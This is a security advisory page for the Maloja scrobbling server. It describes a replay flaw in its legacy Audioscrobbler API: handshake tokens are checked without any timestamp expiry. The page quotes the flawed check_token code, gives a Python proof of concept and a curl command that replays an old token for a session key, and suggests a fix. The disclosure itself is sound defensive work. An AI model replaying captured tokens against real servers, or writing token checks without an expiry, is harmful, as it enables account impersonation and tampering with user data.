# GHSA-69C3-86Q8-W5WJ: Authentication Replay Attack — Captured Handshake Tokens Never Expire

- Database: GitHub
- Severity: CVSS 7.4 (High)
- Published: 2026-08-13
- Modified: 2026-08-13

## Affected versions

- maloja (PyPI): through 3.2.4

## Description

## Summary

The Legacy Audioscrobbler API's `check_token()` function validates authentication tokens without checking timestamp freshness. A captured handshake token can be replayed **indefinitely** — days, months, or years later — and will always be accepted. The Last.fm protocol specification requires `|server_time - ts| < 300 seconds`, but Maloja performs no such check.

## Vulnerable Code

**File:** `maloja/apis/audioscrobbler_legacy.py`, lines 103-105

```python
def check_token(self, received_token, expected_key, ts):
    expected_token = md5(md5(expected_key) + ts)
    return received_token == expected_token
```

**What's missing:**
- ❌ No timestamp freshness check (`abs(current_time - ts) < MAX_AGE`)
- ❌ No nonce/replay tracking (no database table for used tokens)
- ❌ No session expiration after handshake

Compare with Last.fm's official specification:
> The token is `md5(md5(password) + timestamp)`. The timestamp must be within 300 seconds of the current time.

## Proof of Concept

```python
import hashlib
import time

API_KEY = "user_api_key"

# Step 1: Attacker captures a legitimate handshake (via network sniffing, log leak, MITM)
ts_original = str(int(time.time()))
inner = hashlib.md5(API_KEY.encode()).hexdigest()
auth_token = hashlib.md5((inner + ts_original).encode()).hexdigest()

print(f"Captured handshake:")
print(f"  timestamp: {ts_original}")
print(f"  token: {auth_token}")

# Step 2: Attacker waits any amount of time...
time.sleep(2)  # In real attack: days/months/years

# Step 3: Replay the same handshake
now = int(time.time())
diff = now - int(ts_original)

# Server-side check_token (identical to Maloja's code):
expected = hashlib.md5((hashlib.md5(API_KEY.encode()).hexdigest() + ts_original).encode()).hexdigest()
result = (auth_token == expected)

print(f"\nReplay after {diff} seconds:")
print(f"  Server accepted: {result}")
print(f"  Time elapsed: unlimited (no expiry check)")
```

## Attack Scenario

1. Attacker captures one handshake via:
   - Network sniffing on unencrypted HTTP connections
   - Log file exposure (Maloja logs may contain request parameters)
   - Man-in-the-middle attack
   - Shared hosting / reverse proxy access logs

2. Attacker replays the captured `(token, ts)` pair at any future time:
```bash
curl "http://maloja:42010/apis/audioscrobbler_legacy/?hs=true&p=1.2&c=app&v=1.0&u=victim&t=<OLD_TS>&a=<OLD_TOKEN>"
# Returns: OK\n<session_key> — regardless of how old the timestamp is
```

3. Attacker uses the obtained session key to:
   - Submit fake scrobble data
   - Delete existing scrobbles
   - Manipulate listening history

## Impact

- **Permanent account impersonation** from a single captured request
- Attacker can submit/manipulate scrobble data indefinitely
- No detection — the replayed token is mathematically valid

## Suggested Fix

```python
import time

MAX_TOKEN_AGE = 300  # 5 minutes, aligned with Last.fm spec

def check_token(self, received_token, expected_key, ts):
    # Validate timestamp freshness
    try:
        ts_int = int(ts)
    except (ValueError, TypeError):
        return False

    if abs(time.time() - ts_int) > MAX_TOKEN_AGE:
        return False  # Token expired

    expected_token = md5(md5(expected_key) + ts)
    return received_token == expected_token
```

## References

- https://github.com/krateng/maloja/security/advisories/GHSA-69c3-86q8-w5wj

Page: https://cve.now/GHSA-69C3-86Q8-W5WJ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
